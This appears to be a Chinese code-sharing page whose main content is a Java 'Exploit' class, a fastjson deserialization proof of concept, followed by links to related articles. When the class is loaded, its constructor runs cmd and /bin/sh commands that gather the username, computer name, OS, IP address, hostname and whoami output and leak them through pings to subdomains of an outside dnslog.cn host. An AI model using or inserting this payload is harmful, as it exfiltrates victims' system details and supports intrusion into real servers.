1. public class Exploit {
  2. public Exploit(){
  3. String base_url = ".egpkd5.dnslog.cn"; //你的dnslog地址
  4. String win_dnslog = "windows" + base_url;
  5. // windows
  6. try{
  7. String[] commands = { "cmd", "/c", "ping username.%username%." + win_dnslog};
  8. Runtime.getRuntime().exec(commands);
  9. }catch(Exception e){
  10. // e.printStackTrace();
  11. }
  12. try{
  13. String[] commands = { "cmd", "/c", "ping computername.%computername%." + win_dnslog};
  14. Runtime.getRuntime().exec(commands);
  15. }catch(Exception e){
  16. // e.printStackTrace();
  17. }
  18. try{
  19. String[] commands = { "cmd", "/c", "ping os.%os%." + win_dnslog};
  20. Runtime.getRuntime().exec(commands);
  21. }catch(Exception e){
  22. // e.printStackTrace();
  23. }
  24. // linux
  25. String linux_dnslog = "linux" + base_url;
  26. try{
  27. String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
  28. Runtime.getRuntime().exec(commands);
  29. }catch(Exception e){
  30. // e.printStackTrace();
  31. }
  32. try{
  33. String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
  34. Runtime.getRuntime().exec(commands);
  35. }catch(Exception e){
  36. // e.printStackTrace();
  37. }
  38. try{
  39. String[] commands = { "/bin/sh", "-c", "ping hostname.`cat /proc/sys/kernel/hostname`." + linux_dnslog};
  40. Runtime.getRuntime().exec(commands);
  41. }catch(Exception e){
  42. // e.printStackTrace();
  43. }
  44. try{
  45. String[] commands = { "/bin/sh", "-c", "ping user.`whoami`." + linux_dnslog};
  46. Runtime.getRuntime().exec(commands);
  47. }catch(Exception e){
  48. // e.printStackTrace();
  49. }
  50. }
  51. public static void main(String[] args){
  52. Exploit e = new Exploit();
  53. }
  54. }

fastjson ping外带信息poc的更多相关文章

  1. fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...

  2. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  3. powershell对txt文件的服务器进行ping操作

    powershell对txt文件的服务器进行ping操作,txt文件有几百台服务器要进行Ping操作.每行一个 #//***************************************** ...

  4. ping命令

    ping命令能够用于判断一个主机是否可达或者是否存活.它的工作原理就像潜水艇的探测原理一样.该命令通过向目标计算机发送一个数据包,请求目标计算机回送该数据包以表明自己还存活着.同时该命令还能够知道数据 ...

  5. TCP协议学习记录 (三) Ping程序 RR选项 记录路由hop

    一开始想直接在上个程序改,自己构造IP包头,但后来发现不行,微软不让干了,所以后来选用libcap库来收发包 代码写的很乱.. #pragma pack(4) #define ECHO_REQUEST ...

  6. TCP协议学习记录 (二) Ping程序

    简单的实现了一个ping程序,没有做icmp差错报文的检查. 支持自定义字节数,支持发包个数 #pragma pack(4) #define ECHO_REQUEST 8 #define DATASI ...

  7. 用ping命令来模拟traceroute的功能

    ping -n 1 -r 9 qq.com 正在 Ping qq.com [163.177.65.160] 具有 32 字节的数据:来自 163.177.65.160 的回复: 字节=32 时间=11 ...

  8. 物理机与虚拟机IP互ping通,而互ping主机名不通

    问题描述:虚拟机信息:VMware-workstation 10安装RHEL5.8操作系统.hostname:rhel201.com IP:192.168.1.201 物理机系统:windows 7主 ...

  9. 同网段电脑互ping

    两台同网段的主机(host)之间的网络通信是不经过网关的. 今天试了一下,用一根网线连接两台电脑,然后 在一台电脑上设置: ip地址:192.168.0.1 子网掩码:255.255.255.0 在另 ...

随机推荐

  1. LeetCode 151. 翻转字符串里的单词(Reverse Words in a String)

    151. 翻转字符串里的单词 151. Reverse Words in a String

  2. RDP Error: The Identity Of The Remote Computer Cannot Be Verified

    As i always need to remote to 20 servers at the same time, so i use a tool called Remote Desktop Con ...

  3. Ant Design Vue select下拉列表设置默认值

    在项目中需要为Ant Design Vue 的 select 组件设置一个默认值,如下图所示的状态下拉选择框,默认选择全部 代码如下: <a-select v-model="query ...

  4. authenticate的执行流程与重写

    流程 1.authenticate调用的是_get_backends函数 def authenticate(request=None, **credentials): for backend, bac ...

  5. DjangoRestFramework学习二之序列化组件、视图组件

    本节目录 一 序列化组件 二 视图组件 三 xxx 四 xxx 五 xxx 六 xxx 七 xxx 八 xxx 一 序列化组件 首先按照restful规范咱们创建一些api接口,按照下面这些形式写吧: ...

  6. 数据分析——Pandas的用法(Series,DataFrame)

    我们先要了解,pandas是基于Numpy构建的,pandas中很多的用法和numpy一致.pandas中又有series和DataFrame,Series是DataFrame的基础. pandas的 ...

  7. werkzeug.routing.BuildError: Could not build url for endpoint 'index'. Did you mean 'user.index' instead?

    werkzeug.routing.BuildError: Could not build url for endpoint 'index'. Did you mean 'user.index' ins ...

  8. ADO.NET 一般操作(c#)

    ADO.NET五大对象:SqlConnection.SqlCommand.SqlDataReader.SqlDataAdapter .DataSet ,其中SqlDataAdapter 不建议使用 一 ...

  9. git 学习笔记 ---安装

    Git是什么? Git是目前世界上最先进的分布式版本控制系统(没有之一). 安装Git 在Linux上安装Git 首先,你可以试着输入git,看看系统有没有安装Git: $ git The progr ...

  10. go 计算文件行

    package main import ( "bufio" "fmt" "os" ) func main() { //判断命令行参数,小于两 ...